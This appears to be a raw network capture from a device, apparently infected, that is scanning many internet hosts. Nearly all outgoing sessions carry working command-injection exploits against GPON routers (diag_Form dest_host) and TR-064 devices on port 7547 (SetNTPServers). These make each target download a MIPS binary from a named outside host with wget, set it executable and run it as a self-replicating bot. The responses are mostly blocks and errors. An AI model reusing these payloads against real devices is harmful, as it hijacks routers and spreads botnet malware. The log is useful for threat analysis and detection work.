0d 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 79 6f 75 20 77 65 72 65 20 74 72 79 69 6e 67 20 74 6f 20 76 69 73 69 74 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 63 6f 6d 70 61 6e 79 20 70 6f 6c 69 63 79 2e 3c 2f 70 3e 0d 0a 3c 70 3e 3c 62 3e 55 73 65 72 3a 3c 2f 62 3e 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 20 3c 2f 70 3e 0d 0a 3c 70 3e 3c 62 3e 55 52 4c 3a 3c 2f 62 3e 20 31 36 35 2e 31 37 31 2e 32 34 30 2e 32 33 34 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61 67 5f 46 6f 72 6d 3f 69 6d 61 67 65 73 2f 20 3c 2f 70 3e 0d 0a 3c 70 3e 3c 62 3e 43 61 74 65 67 6f 72 79 3a 3c 2f 62 3e 20 75 6e 6b 6e 6f 77 6e 20 3c 2f 70 3e 0d 0a 3c 70 3e 3c 62 3e 52 75 6c 65 3a 3c 2f 62 3e 20 43 2d 55 53 20 49 6e 65 74 20 74 6f 20 56 44 49 2d 44 4d 5a 73 20 61 70 70 20 3c 2f 70 3e 0d 0a 3c 70 3e Data Ascii: <html><head><title>Web Page Blocked</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE"><meta name="viewport" content="initial-scale=1.0"><style> #content { border:3px solid#aaa; background-color:#fff; margin:1.5em; padding:1.5em; font-family:Tahoma,Helvetica,Arial,sans-serif; font-size:1em; } h1 { font-size:1.3em; font-weight:bold; color:#196390; } b { font-weight:normal; color:#196390; }</style></head><body bgcolor="#e7e8e9"><div id="content"><img src="https://www.ohiohealth.com/siteassets/global/oh_logo_blue-200x52.png"><h1>Web Page Blocked</h1><p>Access to the web page you were trying to visit has been blocked in accordance with company policy.</p><p><b>User:</b> 81.181.54.60 </p><p><b>URL:</b> 165.171.240.234/GponForm/diag_Form?images/ </p><p><b>Category:</b> unknown </p><p><b>Rule:</b> C-US Inet to VDI-DMZs app </p><p>
Apr 15, 2024 08:52:53.898724079 CEST	474	IN	Data Raw: 49 66 20 79 6f 75 20 66 65 65 6c 20 74 68 61 74 20 79 6f 75 72 20 61 63 63 65 73 73 20 74 6f 20 74 68 69 73 20 73 69 74 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 65 72 72 6f 72 20 61 6e 64 20 79 6f 75 20 72 65 71 75 69 72 Data Ascii: If you feel that your access to this site has been blocked in error and you require access for a specific business need, please submit a URL Unblock Request via the <a href=https://ohiohealth.service-now.com/sp?id=sc_cat_item&sys_id=5b07812949

Session ID	Source IP	Source Port	Destination IP	Destination Port
496	192.168.2.13	55196	69.192.114.253	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.691488028 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:53.912250996 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Mon, 15 Apr 2024 06:52:53 GMT Date: Mon, 15 Apr 2024 06:52:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 66 61 63 63 31 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 37 33 26 23 34 36 3b 31 33 35 30 31 62 31 36 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 66 61 63 63 31 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 37 33 26 23 34 36 3b 31 33 35 30 31 62 31 36 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.facc117.1713163973.13501b16<P>https://errors.edgesuite.net/9.facc117.1713163973.13501b16</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
497	192.168.2.13	55592	147.162.124.110	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.790642023 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
498	192.168.2.13	42412	191.84.45.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:53.807828903 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:54.161329031 CEST	478	IN	HTTP/1.1 404 Not Found Server: micro_httpd Date: Mon, 15 Apr 2024 06:52:52 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 126 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD><BODY><H2>Access Error: 404 -- Not Found</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
499	192.168.2.13	56172	123.207.242.110	23

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:54.103724003 CEST	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 35 20 31 34 3a 35 32 3a 35 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-15 14:52:51Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
500	192.168.2.13	42668	59.11.175.63	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:54.812738895 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
501	192.168.2.13	57406	92.59.230.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:54.839528084 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
502	192.168.2.13	42004	191.61.145.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:54.840184927 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:55.840466976 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:57.824436903 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
503	192.168.2.13	41712	144.86.38.180	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:54.890450001 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:56.832441092 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:59.232434988 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:03.840435028 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:13.056480885 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:32.000420094 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
504	192.168.2.13	57816	124.219.137.204	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.080760002 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:55.354558945 CEST	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
505	192.168.2.13	42686	59.11.175.63	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.099062920 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
506	192.168.2.13	42434	189.124.222.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.103620052 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
507	192.168.2.13	35658	190.31.147.68	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.103662014 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
508	192.168.2.13	54368	51.6.156.139	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.154835939 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:56.768443108 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
509	192.168.2.13	42026	191.61.145.209	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:55.174192905 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:56.192430019 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
